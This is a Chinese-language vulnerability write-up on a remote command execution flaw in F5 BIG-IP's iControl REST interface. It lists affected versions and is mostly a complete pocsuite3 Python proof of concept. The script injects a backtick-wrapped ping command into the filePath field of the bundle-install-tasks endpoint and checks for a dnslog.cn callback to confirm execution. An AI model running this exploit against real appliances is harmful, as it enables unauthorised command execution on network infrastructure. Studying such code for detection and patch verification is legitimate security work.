0x01 漏洞详情
F5 Networks:应用交付网络(ADN)的全球领导者。
此漏洞允许未经身份验证的攻击者通过BIG-IP管理界面和自身IP地址访问iControl REST接口,从而可以执行任意系统命令。
0X02 影响版本
16.0.0 <= BIG-IP(All modules) <= 16.0.1 15.1.0 <= BIG-IP(All modules) <= 15.1.2 14.1.0 <= BIG-IP(All modules) <= 14.1.3.1 13.1.0 <= BIG-IP(All modules) <= 13.1.3.5 12.1.0 <= BIG-IP(All modules) <= 12.1.5.2 7.1.0 <= BIG-IQ(All modules) <= 7.1.0.2 7.0.0 <= BIG-IQ(All modules) <= 7.0.0.1 6.0.0 <= BIG-IQ(All modules) <= 6.1.0
0x03 环境搭建
从F5 官方即可下载对应的虚拟机文件在本地以VMWare启动。

0x04 POC编写
# /usr/bin/env python3
# coding:utf8
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
import time
import base64
from getpass import getpass
class Dnslog:
def __init__(self) -> None:
self._get_dns_domain_api = 'http://dnslog.cn/getdomain.php' # 获取子域名
self._get_dns_record_api = "http://dnslog.cn/getrecords.php" # 查询dns解析
self._headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE',
}
self._dns = requests.session()
self.dnssubdomain = self._dns.get(self._get_dns_domain_api).text
self.msg = '360bugcloud'
def get_records(self):
try:
logger.info("开始尝试获取dns log数据")
result = self._dns.get(self._get_dns_record_api,
headers=self._headers).text
if self.msg in result:
return True
else:
return False
except Exception as e:
logger.info(f"获取dns log数据失败,请重试,错误{e}")
class TestPOC(POCBase):
vulID = 'Hunter-0x07'
version = 'v1'
author = ['Hunter-0x07']
vulDate = '2021-03-17'
createDate = '2021-03-17'
updateDate = '2020-03-17'
references = ['']
name = 'F5 BIG-IP 远程代码执行漏洞'
appPowerLink = ''
appName = 'F5 BIG-IP'
appVersion = '''16.0.0 ~ 16.0.1 15.1.0 ~ 15.1.2 14.1.0 ~ 14.1.3.1 13.1.0 ~ 13.1.3.5
12.1.0 ~ 12.1.5.2 7.1.0 ~ 7.1.0.2 7.0.0 ~ 7.0.0.1 6.0.0 ~ 6.1.0'''
vulType = 'RCE'
desc = ''''''
def _verify(self):
result = {}
self._dnslog = Dnslog()
self._dns_subdomain = f"{self._dnslog.msg}.{self._dnslog.dnssubdomain}"
self.url = self.url.strip("/")
self.vuln_url = self.url + '/mgmt/tm/access/bundle-install-tasks'
self.rce_cmd = f"`ping {self._dns_subdomain}`"
self.headers['Authorization'] = self._get_user_info()
logger.info(self.headers)
self._send_poc()
# 休眠5秒等待dns log出结果
time.sleep(5)
try:
if self._dnslog.get_records():
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
logger.info("存在漏洞")
except Exception as e:
logger.error("未获取到dns log信息,请重试")
return self.parse_output(result)
def _get_user_info(self):
logger.info("获取用户名和密码")
username = input("请输入登录用户名: ")
password = getpass("请输入登录密码(隐藏不显示): ")
authorization = 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode()
logger.info(authorization)
return authorization
def _send_poc(self):
logger.info("验证是否存在漏洞.....")
post_data = {
"filePath": self.rce_cmd
}
try:
res = requests.post(url=self.vuln_url, headers=self.headers, verify=False, json=post_data)
logger.info(res.status_code)
except Exception as e:
logger.error(f"POC发送失败,请重试,错误{e}")
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(TestPOC)
0x06 POC复现
存在漏洞,如图所示:

不存在漏洞,如图所示:
